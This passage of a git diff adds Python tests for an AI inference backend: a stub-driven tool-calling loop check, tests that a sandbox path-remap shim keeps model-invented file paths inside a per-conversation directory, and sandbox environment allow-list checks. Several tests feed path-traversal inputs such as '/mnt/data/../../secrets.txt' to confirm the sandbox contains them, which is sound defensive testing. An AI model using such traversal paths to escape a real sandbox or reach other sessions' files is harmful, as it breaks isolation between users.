+        _collect_events(loop)
+        assert [c[0] for c in exec_fn.calls] == ["web_search", "python"]
+        assistant = next(m for m in convs[1] if m["role"] == "assistant")
+        assert '"python"' not in (assistant.get("content") or "")
diff --git a/studio/backend/tests/test_safetensors_toolcall_wiring.py b/studio/backend/tests/test_safetensors_toolcall_wiring.py
new file mode 100644
index 0000000000..8909e0c0c5
--- /dev/null
+++ b/studio/backend/tests/test_safetensors_toolcall_wiring.py
@@ -0,0 +1,180 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Deterministic backend-wiring test for the safetensors / MLX tool-calling path.
+
+The parser and the cumulative-text state machine are already covered exhaustively by
+``test_safetensors_tool_loop.py`` with fake generators. What that suite does not touch is the
+*backend's own tool-injection seam*: both ``InferenceBackend`` (transformers) and
+``MLXInferenceBackend`` render the prompt through the shared
+``apply_chat_template_for_generation(..., tools=...)`` helper and stream cumulative text into the
+shared ``run_safetensors_tool_loop`` (see ``core/inference/inference.py`` and
+``core/inference/mlx_inference.py`` -- both call the same helper and the same loop, so a single CPU
+test of that seam covers the macOS MLX path too).
+
+This test drives that exact seam with deterministic fakes -- a fake tokenizer that records the
+``tools`` it is handed, a canned tool-call generation, and a stub executor -- and asserts the full
+agentic chain end to end:
+
+    tools injected into the template -> loop parses the call -> tool dispatched once ->
+    tool result fed back -> generation re-entered -> final answer streamed.
+
+It is the deterministic, download-free stand-in for the real-model MLX / GGUF browser tool-calling
+end-to-end: it imports no torch / unsloth / mlx, so it runs in the portable Backend CI alongside the
+tool-call parser tests. Follow-up to the parser test PRs (#5620 / #5704).
+"""
+
+from core.inference.chat_template_helpers import apply_chat_template_for_generation
+from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+TOOL_NAME = "get_weather"
+TOOL_ARGS = {"city": "Paris"}
+FAKE_TOOL = {
+    "type": "function",
+    "function": {
+        "name": TOOL_NAME,
+        "description": "Get the current weather for a city.",
+        "parameters": {
+            "type": "object",
+            "properties": {"city": {"type": "string"}},
+            "required": ["city"],
+        },
+    },
+}
+# Full parser matrix lives in test_safetensors_tool_loop.py.
+TOOL_CALL_TEXT = '<tool_call>{"name": "get_weather", "arguments": {"city": "Paris"}}</tool_call>'
+FINAL_ANSWER = "The weather in Paris is sunny and 22C."
+TOOL_RESULT = "Paris: sunny, 22C"
+
+
+class RecordingTokenizer:
+    """Fake tokenizer that records the ``tools`` handed to ``apply_chat_template``.
+
+    Modelled on ``TestChatTemplateHelper._Tok`` in ``test_safetensors_tool_loop.py``: it accepts the
+    real helper's kwargs and returns a canned prompt, so the test can assert the backend seam actually
+    forwarded the tool schema -- a silent drop on a chat-template fallback would leave ``tools_seen``
+    holding ``None``.
+    """
+
+    def __init__(self):
+        self.tools_seen: list = []
+        self.call_count = 0
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kwargs,
+    ):
+        self.call_count += 1
+        self.tools_seen.append(kwargs.get("tools"))
+        return "PROMPT"
+
+
+class StubExecutor:
+    """Stand-in for ``core.inference.tools.execute_tool``: records calls, returns a fixed result.
+
+    A fake tool name plus this stub means no real python / terminal / web / RAG side effect can run.
+    """
+
+    def __init__(self, result: str):
+        self.result = result
+        self.calls: list[tuple[str, dict]] = []
+
+    def __call__(
+        self,
+        name,
+        arguments,
+        *,
+        cancel_event = None,
+        timeout = None,
+        session_id = None,
+        thread_id = None,
+        rag_scope = None,
+        disable_sandbox = False,
+    ):
+        self.calls.append((name, arguments))
+        return self.result
+
+
+def _collect(generator, max_events = 200):
+    events = []
+    for ev in generator:
+        events.append(ev)
+        if len(events) >= max_events:
+            break
+    return events
+
+
+def _tool_names(tools):
+    return [(t.get("function") or {}).get("name") for t in (tools or [])]
+
+
+def test_backend_seam_injects_tools_and_drives_full_tool_loop():
+    """The shared backend seam forwards tools into the chat template, and the loop parses the call,
+    dispatches it once, feeds the result back, and re-enters generation for the final answer."""
+    tok = RecordingTokenizer()
+    executor = StubExecutor(TOOL_RESULT)
+    turns = iter([TOOL_CALL_TEXT, FINAL_ANSWER])
+    active_tools_seen: list = []
+    conversations_seen: list = []
+
+    def single_turn(conversation, *, active_tools = None):
+        # Mirror the real _single_turn: render via the shared helper, then yield cumulative snapshots.
+        active_tools_seen.append(active_tools)
+        conversations_seen.append([dict(m) for m in conversation])
+        apply_chat_template_for_generation(tok, conversation, tools = active_tools)
+        text = next(turns)
+        mid = len(text) // 2
+        acc = ""
+        for chunk in (text[:mid], text[mid:]):
+            acc += chunk
+            yield acc
+
+    events = _collect(
+        run_safetensors_tool_loop(
+            single_turn = single_turn,
+            messages = [{"role": "user", "content": "What is the weather in Paris?"}],
+            tools = [FAKE_TOOL],
+            execute_tool = executor,
+            max_tool_iterations = 3,
+        )
+    )
+
+    # 1. Helper forwarded the tool schema to the tokenizer (seam does not drop tools).
+    assert tok.tools_seen, "tokenizer.apply_chat_template was never called"
+    assert tok.tools_seen[0], "tool schema was dropped before reaching the tokenizer"
+    assert TOOL_NAME in _tool_names(tok.tools_seen[0])
+
+    # 2. Loop offered the tool to the first generation turn.
+    assert active_tools_seen and active_tools_seen[0] is not None
+    assert TOOL_NAME in _tool_names(active_tools_seen[0])
+
+    # 3 / 4 / 5. Exactly one tool_start, one dispatch with parsed args, one tool_end with the result.
+    tool_starts = [e for e in events if e["type"] == "tool_start"]
+    tool_ends = [e for e in events if e["type"] == "tool_end"]
+    assert len(tool_starts) == 1 and tool_starts[0]["tool_name"] == TOOL_NAME
+    assert executor.calls == [(TOOL_NAME, TOOL_ARGS)], executor.calls
+    assert len(tool_ends) == 1 and tool_ends[0]["result"] == TOOL_RESULT
+
+    # 6. Final answer streams after the tool result: loop appended it and re-entered generation.
+    contents = [e for e in events if e["type"] == "content"]
+    assert contents and FINAL_ANSWER in contents[-1]["text"]
+    last_tool_end_idx = max(i for i, e in enumerate(events) if e["type"] == "tool_end")
+    last_content_idx = max(i for i, e in enumerate(events) if e["type"] == "content")
+    assert last_content_idx > last_tool_end_idx, "final answer must stream after the tool result"
+
+    # 6b. Tool result fed back into the conversation before the final turn (6 alone misses this:
+    #     the fake generation ignores the conversation).
+    assert len(conversations_seen) >= 2, "loop did not re-enter generation after the tool call"
+    final_turn_convo = conversations_seen[1]
+    assert any(
+        TOOL_RESULT in str(m.get("content", "")) for m in final_turn_convo
+    ), "tool result was not fed back into the conversation before the final generation turn"
+
+    # 7. Guard: raw tool-call markup never leaked to the client as content.
+    for e in contents:
+        assert "<tool_call>" not in e["text"]
+        assert TOOL_NAME not in e["text"]
diff --git a/studio/backend/tests/test_sandbox_sitecustomize.py b/studio/backend/tests/test_sandbox_sitecustomize.py
new file mode 100644
index 0000000000..3ac427f9f1
--- /dev/null
+++ b/studio/backend/tests/test_sandbox_sitecustomize.py
@@ -0,0 +1,522 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Hermetic tests for the sandbox sitecustomize path-remap shim.
+
+The shim (``core/inference/sandbox_site/sitecustomize.py``) runs at interpreter
+startup inside every sandboxed tool subprocess and remaps ChatGPT
+code-interpreter habit paths (``/mnt/data`` etc.) onto the per-conversation
+working directory. Importing it calls ``_install()``, which monkeypatches
+``builtins.open`` / ``io.open`` / ``os.makedirs`` / ``os.mkdir`` /
+``pathlib.Path.mkdir`` process-wide, so these tests
+load it into a throwaway module and restore those globals immediately, then
+exercise the pure ``_remap()`` function directly -- no subprocess, and no real
+``/mnt`` or ``/tmp`` writes. The mkdir test keeps the patch installed under a
+``chdir`` into ``tmp_path`` so the only real writes land in that temp dir.
+"""
+
+from __future__ import annotations
+
+import builtins
+import importlib.util
+import io
+import os
+import pathlib
+from pathlib import Path
+
+import pytest
+
+_SHIM = (
+    Path(__file__).resolve().parent.parent
+    / "core"
+    / "inference"
+    / "sandbox_site"
+    / "sitecustomize.py"
+)
+
+
+def _save_patch_targets():
+    """Snapshot every global the shim patches, so tests can restore them.
+
+    On Python < 3.11 the shim also repoints ``pathlib._NormalAccessor.open``
+    (pathlib captured the original io.open at import there); the accessor is
+    absent on 3.11+, so the snapshot skips it.
+    """
+    accessor = getattr(pathlib, "_NormalAccessor", None)
+    return (
+        (builtins.open, io.open, os.open, os.makedirs, os.mkdir, pathlib.Path.mkdir),
+        accessor,
+        accessor.open if accessor is not None else None,
+    )
+
+
+def _restore_patch_targets(saved):
+    """Undo _save_patch_targets so the test process stays clean."""
+    globals_tuple, accessor, accessor_open = saved
+    (builtins.open, io.open, os.open, os.makedirs, os.mkdir, pathlib.Path.mkdir) = globals_tuple
+    if accessor is not None:
+        accessor.open = accessor_open
+
+
+def _load_shim():
+    """Import the shim without leaving its open()/mkdir patches installed."""
+    saved = _save_patch_targets()
+    spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_under_test", _SHIM)
+    mod = importlib.util.module_from_spec(spec)
+    try:
+        spec.loader.exec_module(mod)  # runs _install(), patching the globals
+    finally:
+        # Undo the process-wide patch so the test process stays clean.
+        _restore_patch_targets(saved)
+    mod._notified = True  # silence the one-shot stderr notice in tests
+    return mod
+
+
+def test_always_remap_prefixes_map_into_cwd(monkeypatch, tmp_path):
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    assert mod._remap("/mnt/data/out.txt") == os.path.join(cwd, "out.txt")
+    assert mod._remap("/mnt/data") == cwd
+    # Unrelated absolute and relative paths pass straight through.
+    assert mod._remap("/etc/passwd") == "/etc/passwd"
+    assert mod._remap("relative.txt") == "relative.txt"
+
+
+def test_prefix_remap_contains_parent_traversal_inside_cwd(monkeypatch, tmp_path):
+    # A hallucinated habit path can carry '..' in its suffix. The remapped target
+    # must stay under the per-conversation CWD, never climbing into a sibling
+    # session's directory: '..' components are dropped, the rest of the subpath kept.
+    mod = _load_shim()
+    workdir = tmp_path / "session_current" / "work"
+    workdir.mkdir(parents = True)
+    monkeypatch.chdir(workdir)
+    cwd = os.getcwd()
+
+    for escaping in (
+        "/mnt/data/../other_session/file",
+        "/mnt/data/../../secrets.txt",
+        "/mnt/data/a/../../b/c.txt",
+        "/mnt/data/./sub/./x.txt",
+    ):
+        mapped = mod._remap(escaping)
+        # Never escapes the CWD subtree.
+        assert mapped == cwd or mapped.startswith(cwd + os.sep), (escaping, mapped)
+        assert os.path.realpath(mapped).startswith(os.path.realpath(cwd))
+    # '../other_session/file' collapses to CWD/other_session/file.
+    assert mod._remap("/mnt/data/../other_session/file") == os.path.join(
+        cwd, "other_session", "file"
+    )
+    # A bare '/mnt/data/..' with nothing left maps onto the CWD itself.
+    assert mod._remap("/mnt/data/..") == cwd
+
+
+def test_write_fallback_refuses_dotdot_basename(monkeypatch, tmp_path):
+    # basename('/no/such/tree/..') == '..'; joining that onto the CWD would target
+    # its parent (outside the sandbox). The fallback must refuse such non-filename
+    # basenames and return the path unchanged so the real open raises.
+    mod = _load_shim()
+    workdir = tmp_path / "work"
+    workdir.mkdir()
+    monkeypatch.chdir(workdir)
+    for escaping in ("/no/such/tree/..", "/no/such/tree/.", "/no/such/tree/"):
+        assert mod._remap_open(escaping, "w") == escaping
+
+
+def test_write_fallback_remaps_hallucinated_absolute_path(monkeypatch, tmp_path):
+    # Models invent absolute paths from their CWD (e.g. /home/ubuntu/Sandbox/x.html),
+    # which prefix lists cannot enumerate. A write/create-mode open on an absolute
+    # path outside the CWD whose parent is missing is redirected to the basename in the CWD.
+    mod = _load_shim()
+    workdir = tmp_path / "workdir"
+    workdir.mkdir()
+    monkeypatch.chdir(workdir)
+    cwd = os.getcwd()
+    hallucinated = "/home/ubuntu/Sandbox/flappy_bird.html"
+    for mode in ("w", "a", "x", "w+"):
+        assert mod._remap_open(hallucinated, mode) == os.path.join(cwd, "flappy_bird.html")
+    # A nested missing tree collapses to just the basename in the CWD.
+    assert mod._remap_open("/no/such/tree/report.txt", "w") == os.path.join(cwd, "report.txt")
+
+
+def test_write_fallback_never_touches_read_modes(monkeypatch, tmp_path):
+    # Reading a real (or genuinely missing) file must succeed/fail truthfully --
+    # the fallback is write-only.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    for mode in ("r", "rb", "r+"):
+        assert mod._remap_open("/etc/definitely_missing_xyz.conf", mode) == (
+            "/etc/definitely_missing_xyz.conf"
+        )
+
+
+def test_write_fallback_passes_through_existing_external_dir(monkeypatch, tmp_path):
+    # A write to an absolute path whose parent dir exists is a deliberate, working
+    # target and must NOT be redirected.
+    mod = _load_shim()
+    external = tmp_path / "external"
+    external.mkdir()
+    workdir = tmp_path / "workdir"
+    workdir.mkdir()
+    monkeypatch.chdir(workdir)
+    target = str(external / "out.txt")
+    assert mod._remap_open(target, "w") is target
+
+
+def test_write_fallback_never_clobbers_same_basename(monkeypatch, tmp_path):
+    # A same-named CWD file is an unrelated persistent conversation file.
+    # Redirecting an invented absolute path (missing parent) onto it would clobber
+    # data the model never asked to touch, so the fallback refuses on collision for
+    # every create mode: it returns the original path and the real open() raises.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+
+    existing = tmp_path / "report.txt"
+    existing.write_text("KEEP-ME")
+
+    requested = "/definitely_missing_parent_7083/report.txt"
+    for mode in ("w", "a", "x", "w+", "a+"):
+        # Refused: returns the original absolute path unchanged (no redirect).
+        assert mod._remap_open(requested, mode) == requested
+
+    # And opening the refused path really does raise, leaving the file intact.
+    with pytest.raises(FileNotFoundError):
+        open(mod._remap_open(requested, "w"), "w")
+    assert existing.read_text() == "KEEP-ME"
+
+    # No collision -> still healed into the working directory as before.
+    fresh = "/definitely_missing_parent_7083/brand_new.txt"
+    assert mod._remap_open(fresh, "w") == os.path.join(os.getcwd(), "brand_new.txt")
+
+
+def test_write_fallback_reserves_same_target_on_repeated_writes(monkeypatch, tmp_path):
+    # Iterative overwrite of the SAME invented path must keep landing on the CWD
+    # target the fallback first healed it to. Once ./app.html exists, a naive
+    # anti-clobber guard would return the original (parent-missing) path and every
+    # regenerate would raise; the fallback must recognise its own prior remap and re-serve it.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    invented = "/home/ubuntu/Sandbox/app.html"
+    target = os.path.join(cwd, "app.html")
+
+    # First write: healed into the CWD, and create the file so the collision guard
+    # would trigger on the next call without the fix.
+    assert mod._remap_open(invented, "w") == target
+    with open(mod._remap_open(invented, "w"), "w") as fh:
+        fh.write("v1")
+
+    # Repeated overwrites of the same invented path stay on the same target.
+    for _ in range(3):
+        assert mod._remap_open(invented, "w") == target
+    with open(mod._remap_open(invented, "w"), "w") as fh:
+        fh.write("v2")
+    assert Path(target).read_text() == "v2"
+
+    # A DIFFERENT invented source colliding on basename is still refused, so it can
+    # never clobber the artifact the first path owns.
+    other = "/opt/other/app.html"
+    assert mod._remap_open(other, "w") == other
+
+
+def test_write_fallback_reserves_healed_target_across_separate_runs(monkeypatch, tmp_path):
+    # Each tool call is a FRESH subprocess, so the in-process remap map is empty on
+    # the next run while the healed file persists in the working directory. A second
+    # run overwriting the SAME invented path (whose healed basename now exists) must
+    # still re-serve that target via the on-disk sidecar, else the model could never
+    # overwrite last turn's artifact. Each _load_shim() simulates a brand-new interpreter.
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    invented = "/home/ubuntu/Sandbox/app.html"
+    target = os.path.join(cwd, "app.html")
+
+    # Run 1: heal the invented path, create the file, persist source->target to the sidecar.
+    run1 = _load_shim()
+    assert run1._remap_open(invented, "w") == target
+    with open(run1._remap_open(invented, "w"), "w") as fh:
+        fh.write("v1")
+
+    # Run 2: brand-new interpreter, nothing in memory -- still recognises its prior
+    # heal from the sidecar and re-serves it, even though ./app.html now exists
+    # (which without the sidecar would trip the anti-clobber guard and raise).
+    run2 = _load_shim()
+    assert run2._remapped_writes == {}
+    assert run2._remap_open(invented, "w") == target
+    with open(run2._remap_open(invented, "w"), "w") as fh:
+        fh.write("v2")
+    assert Path(target).read_text() == "v2"
+
+    # A DIFFERENT invented source colliding only on basename is still refused across
+    # runs: the sidecar records solely the source it healed, so an unrelated path
+    # can never adopt/clobber the artifact.
+    other = "/opt/other/app.html"
+    assert run2._remap_open(other, "w") == other
+
+    # A foreign CWD file (created directly, never healed) stays protected in a later
+    # run from an invented path sharing its basename.
+    (tmp_path / "notes.txt").write_text("KEEP-ME")
+    run3 = _load_shim()
+    assert run3._remap_open("/some/missing/notes.txt", "w") == "/some/missing/notes.txt"
+    with pytest.raises(FileNotFoundError):
+        open(run3._remap_open("/some/missing/notes.txt", "w"), "w")
+    assert (tmp_path / "notes.txt").read_text() == "KEEP-ME"
+
+
+@pytest.mark.parametrize("mode", ["r+", "rb+"])
+def test_read_update_modes_never_redirected_even_with_missing_parent(monkeypatch, tmp_path, mode):
+    # r+ / rb+ REQUIRE the target to exist and never create; a "+" must not qualify
+    # as creation, or a missing absolute path would be redirected onto a same-basename
+    # workspace file and corrupt it. The parent is missing, so only the mode predicate
+    # protects the victim.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+
+    victim = tmp_path / "victim.txt"
+    victim.write_text("original")
+
+    requested = "/definitely_missing_parent_xyz/victim.txt"
+    assert mod._remap_open(requested, mode) == requested
+    with pytest.raises(FileNotFoundError):
+        open(mod._remap_open(requested, mode), mode)
+    assert victim.read_text() == "original"
+
+
+def test_existing_convention_prefix_is_not_shadowed(monkeypatch, tmp_path):
+    # A convention prefix (/mnt/data etc.) is remapped ONLY while absent. If a real
+    # host directory exists there it must pass through so its own filesystem semantics
+    # apply: a real read succeeds, and a missing file under it is created there by a
+    # write, never shadowed by a CWD file.
+    mod = _load_shim()
+    external = tmp_path / "real_prefix"
+    external.mkdir()
+    (external / "data.txt").write_text("real external content")
+
+    workdir = tmp_path / "conversation"
+    workdir.mkdir()
+    monkeypatch.chdir(workdir)
+    monkeypatch.setattr(mod, "_PREFIXES", (str(external),))
+    monkeypatch.setattr(mod, "_CONDITIONAL_PREFIXES", ())
+
+    target = str(external / "data.txt")
+    # Prefix exists -> pass through for read and write.
+    assert mod._remap(target) == target
+    assert mod._remap_open(target, "r") == target
+    assert mod._remap_open(target, "w") == target
+    # A missing file under the EXISTING real prefix is left alone (parent exists),
+    # so the real directory creates it -- not a CWD shadow.
+    missing = str(external / "new.txt")
+    assert mod._remap_open(missing, "w") == missing
+
+    # Remove the prefix directory -> healing resumes (absent prefix).
+    (external / "data.txt").unlink()
+    external.rmdir()
+    assert mod._remap(target) == os.path.join(os.getcwd(), "data.txt")
+
+
+def test_os_open_and_path_touch_remap_convention_path(monkeypatch, tmp_path):
+    # Path.touch() and other low-level creators go through os.open, not builtins/io.open.
+    # Keep the shim's patches installed under a chdir into tmp_path so os.open is
+    # patched, and confirm a convention path is healed into the CWD instead of raising.
+    saved = _save_patch_targets()
+    spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_osopen", _SHIM)
+    mod = importlib.util.module_from_spec(spec)
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    try:
+        spec.loader.exec_module(mod)  # installs the os.open patch
+        mod._notified = True
+        pathlib.Path("/mnt/data/touched.txt").touch()
+        assert os.path.isfile(os.path.join(cwd, "touched.txt"))
+        # Direct os.open with create flags is healed too.
+        fd = os.open("/mnt/data/via_os_open.txt", os.O_CREAT | os.O_WRONLY, 0o600)
+        os.close(fd)
+        assert os.path.isfile(os.path.join(cwd, "via_os_open.txt"))
+    finally:
+        _restore_patch_targets(saved)
+
+
+def test_path_write_read_text_remap_convention_path(monkeypatch, tmp_path):
+    # Path.open / write_text / read_text route through io.open (3.11+) or the captured
+    # accessor open (< 3.11). Keep the patches installed under a chdir into tmp_path
+    # and confirm a convention path is healed into the CWD on every version. This is
+    # the hermetic guard for the 3.10 accessor path a plain io.open patch misses.
+    saved = _save_patch_targets()
+    spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_writetext", _SHIM)
+    mod = importlib.util.module_from_spec(spec)
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    try:
+        spec.loader.exec_module(mod)  # installs the io.open / accessor patch
+        mod._notified = True
+        pathlib.Path("/mnt/data/note.txt").write_text("pathlib remap")
+        assert os.path.isfile(os.path.join(cwd, "note.txt"))
+        # read_text goes through the same mapped path and sees what was written.
+        assert pathlib.Path("/mnt/data/note.txt").read_text() == "pathlib remap"
+        # A real absolute path passes through both patches untouched.
+        real = tmp_path / "real.txt"
+        pathlib.Path(str(real)).write_text("verbatim")
+        assert real.read_text() == "verbatim"
+    finally:
+        _restore_patch_targets(saved)
+
+
+def test_write_fallback_leaves_relative_and_bytes_paths(monkeypatch, tmp_path):
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    # Relative paths are already inside the CWD.
+    assert mod._remap_open("out.txt", "w") == "out.txt"
+    # Bytes paths are left untouched (prefix remap skips non-str).
+    assert mod._remap_open(b"/no/such/tree/x.bin", "w") == b"/no/such/tree/x.bin"
+
+
+def test_remap_open_still_applies_prefix_remaps(monkeypatch, tmp_path):
+    # The prefix remap runs first and preserves subpaths. A write heals onto the CWD
+    # unconditionally; the write-mode fallback is only the last resort.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    assert mod._remap_open("/mnt/data/sub/out.txt", "w") == os.path.join(cwd, "sub", "out.txt")
+    # A read whose mapped target does NOT exist keeps the original path: a missing
+    # input stays truthful, not silently redirected into the CWD.
+    assert mod._remap_open("/mnt/data/sub/out.txt", "r") == "/mnt/data/sub/out.txt"
+
+
+def test_prefix_read_heals_only_when_mapped_target_exists(monkeypatch, tmp_path):
+    # A convention-prefix READ must not redirect onto the CWD when the mapped target
+    # is absent -- that masks a genuine missing-input error and could serve an
+    # unrelated same-basename workdir file. It heals only when the mapped CWD target
+    # exists, so re-reading an artifact an earlier write produced still works.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+
+    # Mapped target absent: read keeps the original path (truthful miss).
+    assert mod._remap_open("/mnt/data/input.csv", "r") == "/mnt/data/input.csv"
+    with pytest.raises(FileNotFoundError):
+        open(mod._remap_open("/mnt/data/input.csv", "r"))
+
+    # r+ (never creates) behaves the same: no redirect while absent.
+    assert mod._remap_open("/mnt/data/input.csv", "r+") == "/mnt/data/input.csv"
+
+    # A write heals onto the CWD and creates the artifact...
+    mapped = mod._remap_open("/mnt/data/input.csv", "w")
+    assert mapped == os.path.join(cwd, "input.csv")
+    with open(mapped, "w") as fh:
+        fh.write("col\n1\n")
+
+    # ...and now a READ of the same convention path heals onto that existing artifact.
+    read_target = mod._remap_open("/mnt/data/input.csv", "r")
+    assert read_target == os.path.join(cwd, "input.csv")
+    with open(read_target) as fh:
+        assert fh.read() == "col\n1\n"
+
+
+def test_prefix_boundary_not_matched_by_similar_paths(monkeypatch, tmp_path):
+    # The prefix match is anchored on a segment boundary (prefix or prefix + '/'), so
+    # a sibling merely sharing the textual prefix must NOT be remapped: /workspace2
+    # is not /workspace, /mnt/database is not /mnt/data.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    for unrelated in ("/workspace2/file.txt", "/mnt/database/x", "/home/sandboxed/y"):
+        assert mod._remap(unrelated) == unrelated
+        # And through open() for a read too (no silent redirect).
+        assert mod._remap_open(unrelated, "r") == unrelated
+
+
+def test_tmp_outputs_is_a_conditional_prefix():
+    mod = _load_shim()
+    assert "/tmp/outputs" in mod._CONDITIONAL_PREFIXES
+    # NOT in the always-remap set: /tmp exists on the host, so an unconditional remap
+    # could shadow a real /tmp/outputs the user code made.
+    assert "/tmp/outputs" not in mod._PREFIXES
+
+
+def test_tmp_outputs_remapped_only_while_absent(monkeypatch, tmp_path):
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    # Point the conditional prefix at a real temp location so we can toggle its
+    # existence on disk instead of mocking os.path.exists.
+    cond = str(tmp_path / "cond_outputs")
+    monkeypatch.setattr(mod, "_CONDITIONAL_PREFIXES", (cond,))
+
+    # Absent: heal the habit path into the working directory (preserved/served).
+    assert not os.path.exists(cond)
+    assert mod._remap(cond + "/plot.png") == os.path.join(cwd, "plot.png")
+    assert mod._remap(cond) == cwd
+
+    # Present (the user's own code created it): pass through, never shadowed.
+    os.makedirs(cond)
+    assert mod._remap(cond + "/plot.png") == cond + "/plot.png"
+    assert mod._remap(cond) == cond
+
+
+def test_pathlib_mkdir_parents_remaps_convention_path(monkeypatch, tmp_path):
+    # `Path('/mnt/data').mkdir(parents=True, exist_ok=True)` is a stock setup line.
+    # pathlib drives it through os.mkdir per component and Path.is_dir()/os.stat on
+    # FileExistsError, so the shim must patch os.mkdir AND Path.mkdir for the whole
+    # parents/exist_ok dance to land in the CWD instead of raising. Keeps the mkdir
+    # patches installed under a chdir into tmp_path and restores them in finally.
+    saved = _save_patch_targets()
+    spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_mkdir", _SHIM)
+    mod = importlib.util.module_from_spec(spec)
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    try:
+        spec.loader.exec_module(mod)  # installs the os.mkdir / Path.mkdir patches
+        mod._notified = True
+        # Bare convention path maps onto the CWD, which already exists: exist_ok=True
+        # must be honoured against the mapped location, not raise.
+        pathlib.Path("/mnt/data").mkdir(parents = True, exist_ok = True)
+        # A nested convention path is created inside the CWD, parents and all.
+        pathlib.Path("/mnt/data/plots/run1").mkdir(parents = True, exist_ok = True)
+        assert os.path.isdir(os.path.join(cwd, "plots", "run1"))
+        # Idempotent: exist_ok is evaluated on the mapped path (which now exists),
+        # not the never-present /mnt/data.
+        pathlib.Path("/mnt/data/plots/run1").mkdir(parents = True, exist_ok = True)
+
+        # Passthrough: real paths are created verbatim through both patches,
+        # never remapped into the CWD.
+        real_dir = tmp_path / "real_via_path"
+        pathlib.Path(str(real_dir)).mkdir()
+        assert real_dir.is_dir()
+        real_os = tmp_path / "real_via_os"
+        os.mkdir(str(real_os))
+        assert real_os.is_dir()
+    finally:
+        _restore_patch_targets(saved)
+
+
+def test_read_of_missing_prefix_path_emits_no_notice(monkeypatch, tmp_path, capsys):
+    # A read of a missing convention path keeps the original path and must not spend
+    # the one-shot notice; a genuine remap afterward still notifies.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    mod._notified = False  # re-arm the one-shot notice for this test
+    # Read of a missing prefixed path: original kept, no notice, flag unspent.
+    assert mod._remap_open("/mnt/data/missing.csv", "r") == "/mnt/data/missing.csv"
+    assert mod._notified is False
+    assert "does not exist" not in capsys.readouterr().err
+    # A committed write then heals and fires the notice exactly once.
+    assert mod._remap_open("/mnt/data/out.txt", "w") == os.path.join(os.getcwd(), "out.txt")
+    assert mod._notified is True
+    assert "/mnt/data does not exist in this sandbox" in capsys.readouterr().err
+
+
+def test_os_open_trunc_without_creat_missing_stays_truthful(monkeypatch, tmp_path):
+    # O_TRUNC / O_APPEND without O_CREAT cannot create a missing file, so the shim
+    # treats them as a read: a missing convention path stays truthful (the error
+    # names the caller's path) and nothing is created in the CWD.
+    saved = _save_patch_targets()
+    spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_trunc", _SHIM)
+    mod = importlib.util.module_from_spec(spec)
+    monkeypatch.chdir(tmp_path)
+    try:
+        spec.loader.exec_module(mod)
+        mod._notified = True
+        with pytest.raises(FileNotFoundError) as exc:
+            os.open("/mnt/data/missing_xyz.bin", os.O_WRONLY | os.O_TRUNC)
+        assert exc.value.filename == "/mnt/data/missing_xyz.bin"
+        assert not os.path.exists(os.path.join(os.getcwd(), "missing_xyz.bin"))
+    finally:
+        _restore_patch_targets(saved)
diff --git a/studio/backend/tests/test_sandbox_tools.py b/studio/backend/tests/test_sandbox_tools.py
index 24b1da1772..2970b1a6bb 100644
--- a/studio/backend/tests/test_sandbox_tools.py
+++ b/studio/backend/tests/test_sandbox_tools.py
@@ -294,11 +294,16 @@ class TestSandboxEnvIsolation:
             "LANG",
             "TERM",
             "PYTHONIOENCODING",
+            "PYTHONPATH",
             "VIRTUAL_ENV",
             "SystemRoot",
         }
         extras = set(env.keys()) - allowed
         assert not extras, f"sandbox env added unexpected keys: {extras}"
+        # PYTHONPATH is whitelist-built, never inherited: only the sandbox
+        # sitecustomize shim dir (code-interpreter path remap).
+        assert env["PYTHONPATH"].endswith("sandbox_site")
+        assert "leak-me" not in env["PYTHONPATH"]
 
     def test_home_points_at_sandbox_workdir(self, tmp_path):
         from core.inference.tools import _build_safe_env
@@ -315,6 +320,23 @@ class TestSandboxEnvIsolation:
         env = _build_safe_env(str(tmp_path))
         assert env["TERM"] == "dumb"
 
+    def test_bypass_env_installs_sitecustomize_path_shim(self, tmp_path):
+        # Bypass mode must install the same /mnt/data path-remap shim as the safe
+        # env (finding 17), else /mnt/data writes work only in normal mode.
+        from core.inference.tools import _SANDBOX_SITE_DIR, _build_bypass_env
+        env = _build_bypass_env(str(tmp_path))
+        assert _SANDBOX_SITE_DIR in env["PYTHONPATH"].split(os.pathsep)
+
+    def test_bypass_env_prepends_shim_and_keeps_inherited_pythonpath(self, monkeypatch, tmp_path):
+        from core.inference.tools import _SANDBOX_SITE_DIR, _build_bypass_env
+
+        monkeypatch.setenv("PYTHONPATH", "/operator/libs")
+        env = _build_bypass_env(str(tmp_path))
+        parts = env["PYTHONPATH"].split(os.pathsep)
+        # Shim first so its open()/makedirs remap wins, operator entries kept.
+        assert parts[0] == _SANDBOX_SITE_DIR
+        assert "/operator/libs" in parts
+
 
 class TestSandboxCpuRlimitDefault:
